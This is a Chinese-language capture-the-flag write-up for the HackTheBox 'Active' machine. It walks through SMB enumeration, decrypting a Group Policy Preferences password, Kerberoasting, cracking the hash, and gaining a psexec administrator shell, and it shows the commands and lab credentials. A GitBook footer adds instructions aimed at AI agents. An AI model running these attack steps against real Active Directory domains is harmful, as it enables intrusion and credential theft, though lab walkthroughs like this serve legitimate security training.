> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# Active HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**技能**:

* SMB 枚举
* 破解受密码保护的 ZIP 文件（fcrackzip）
* 破解并读取 .PFX 文件（crackpkcs12）
* 使用 Evil-WinRM 获取 SSL 访问
* 信息泄露 - 读取用户的 PowerShell 历史记录（用户横向移动）
* 滥用 LAPS 获取密码（Get-LAPSPasswords.ps1）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/c6d5c43d3552b9206fbfa3368d3a5fa5ea1135aa" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/e32213906565a554214cdce2ca208160a8a179c8" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**/ 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="/files/d89383d5a8d2cdf82166607d2aedb82e10a52457" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

<div data-full-width="true"><figure><img src="/files/4d62c730e372d6161be3dd53bc9481b59c1e961e" alt=""><figcaption></figcaption></figure></div>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="/files/5bdba577435578803f43f5020ddce048d1401c4c" alt=""><figcaption></figcaption></figure>

## **枚举与利用：**

### **SMB 枚举：**

使用 crackmapexec 列出系统并查找域名。

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="/files/858bb98b46e59e3a69c98886bd2aaead695e69fe" alt=""><figcaption></figcaption></figure>

#### **使用 NTP 调整时间：**

调整目标机器时间以避免问题

```bash
ntpdate 10.10.10.100
```

<figure><img src="/files/51f7373370c270f63a1a3c64ce415cf9a347b8dc" alt=""><figcaption></figcaption></figure>

#### /etc/hosts 配置：

将域控制器添加到 hosts 文件以允许 ping：

<figure><img src="/files/bc0db08255221a4ea32726bb45b02250fa91c434" alt=""><figcaption></figcaption></figure>

### **列出共享资源**

使用 smbclient 或 smbmap 探索网络上的共享资源。

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="/files/ae17360220bed573376f1762b217b7a36642f316" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="/files/914bc469e14826636aeb4e413679525149dd7bf6" alt=""><figcaption></figcaption></figure>

### **搜索特定文件**:

浏览目录以查找相关文件

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="/files/a841e71adf995b645d1da7ece96d5a7c9ddd1cd3" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="/files/35729005d92275800c81b2a9417e69e2dabc51d2" alt=""><figcaption></figcaption></figure>

该 `groups.xml` 已识别出可能包含机密信息的文件。

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="/files/44ddd6e13511fe6b5f3cbcb2031db5935c6b4dff" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/85a85ea56abbd8c969e484f0bccb2fa9d4f8d3bc" alt=""><figcaption></figcaption></figure></div>

### **密码解密：**

使用 `gpp-decrypt` 用于解密存储的密码。

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="/files/9f02ca0797784a2f05a92914b615ba3d10666838" alt=""><figcaption></figcaption></figure>

### **凭据验证：**

使用 crackmapexec 检查凭据是否有效

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="/files/a7a0e1c03c9618143c3894207593753d00f4b01b" alt=""><figcaption></figcaption></figure>

### **权限探查：**

使用 crackmapexec 和 smbmap 探查网络共享上的权限。

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="/files/50ddb2d99dc6a0976eecaf487358a95e6125a6c4" alt=""><figcaption></figcaption></figure>

### 已获得 user.txt 标志：

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="/files/147d13de23c1ed8f6eb61e7dcbed33df0bf78518" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2e5e376dad8463d9f084821031cbf92566f1aa9b" alt=""><figcaption></figcaption></figure>

### **登录到域控制器：**

使用 rpcclient 连接到域控制器并查看用户和组：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="/files/0231f243ad713327bcb84b7e72825c8743e6153f" alt=""><figcaption></figcaption></figure>

#### - 要识别管理员组成员：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - 要获取特定组中的用户：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="/files/f3a3f7f916d1832e1b103e0644fc20075cb967c8" alt=""><figcaption></figcaption></figure>

#### - 要列出所有用户的描述：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="/files/0df6d40763fcf275ee1171e889649731df303f04" alt=""><figcaption></figcaption></figure></div>

## 漏洞 [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

通过以下命令成功利用 Kerberoast 漏洞：

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

该命令会获取一个可利用该漏洞的票证授予服务（TGS）服务票据。

然后，为了获取管理员哈希值，在命令中添加 -request 参数：

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="/files/5cbf2e922194786fa654431b9a3011c1731dcef3" alt=""><figcaption></figcaption></figure>

## **最终利用：**

### **哈希破解：**

使用 John 尝试破解获取到的哈希。

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/75e69a000d705d2927590473c362f4bf1e3fd516" alt=""><figcaption></figcaption></figure>

### **凭据验证：**

使用 crackmapexec 验证获取到的凭据

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="/files/4fd894ba93bc1843850d3e675f530cfdc02562ca" alt=""><figcaption></figcaption></figure></div>

### **Psexec 执行：**

使用 psexec.py 获取管理员交互式 shell。

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/4e09b5fb9d3101c1e8ab97af5a8d203f9fdda1ca" alt=""><figcaption></figcaption></figure>

### **已获得最终 Flag：**

在获得管理员权限后成功获取最终 flag。

<figure><img src="/files/c6c51653a1aefec003271e86c122bdf7cd22a488" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0cceeabb039a72e366db517995369f21cce541f4" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
